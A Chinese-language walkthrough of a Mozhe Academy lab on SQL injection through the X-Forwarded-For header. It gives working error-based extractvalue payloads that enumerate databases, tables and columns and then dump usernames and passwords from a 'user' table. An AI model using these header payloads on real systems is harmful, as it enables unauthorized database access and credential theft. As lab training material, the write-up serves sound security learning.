墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入

一、审题

这题从题目,也可以看放包后的回显可以知道是http头的ip注入,尝试(题目有说)x-forwarded-for(这里的注入我很难主动想到,因为在原始的http头里没有x-forwarded-for,这题是题目有提醒)

二、判断类型

使用brupsuit抓包,repeater后添加XFF头 ——X-Forwarded-For:
通过修改X-Forwarded-For:值来找出注入点。
当值为"(双引号)时,X-Forwarded-For:" 不报错;
当值为‘’(单引号)时,X-Forwarded-For:’ 报错; (测试后,使用#,–+,%23都不可以注释掉后面的 ’ )
墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入
可知XFF头存在注入点。接下来判断注入类型。

既然不可以注释点后面的 ’ ,那就在加一个点 ’ 使其闭合。
通过1=1和1=2明确可以知道不是数字型注入,应该是字符型注入
(由此可知,一道sql注入题可能是多个类型注入结合起来的,要多方面尝试。)
由此采用字符型注入:
X-Forwarded-For:127.0.0.1’ [在这里写语句] and ‘1’='1
这里引号’ 前面的127.0.0.1可以随便写,参考网上大佬的写法,就这样写了,也可以不写,如第一张图所示。*
墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入

三、进行函数选择

这题用尝试用 orderby 、union select 等等都报错,不能使用。多方查找,参考网上一位大佬经验,采用 报错函数extratctvalue(一句话原理:路径不合法就报错,构造错误路径格式让信息通过错误提示回显出来)
报错注入也是基于有回显错误信息的一种,只不过构造的payload一般是基于特定函数,根据函数的规则使其报错并利用这个报错的回显特点,让报错的内容为我们想要获取的数据库内容。

墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入

直接开始注入

1爆库

x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata ),0x7e)) and ‘1’=‘1 //该语句爆出所有数据库;
x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select database()),0x7e)) and ‘1’='1//该语句直接爆出当前数据库;
墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入

墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入
从这里也可以看出,上面构造的语句
x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select database()),0x7e)) and ‘1’=‘1
可以简化为
x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select database()))) and ‘1’='1
null的地方可以是其他字符,比如可以换成1
concat函数不可以换成concat_ws函数,换成它后,database()不起作用,不知为什么
墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入

2爆表

x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘webcalendar’),0x7e)) and ‘1’='1
墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入

3爆列

x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘user’),0x7e)) and ‘1’='1
墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入

4爆字段

x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select group_concat(username,password) from user),0x7e)) and ‘1’='1
账号密码就出来了墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入
墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入

此题用sqlmap操作更加简单。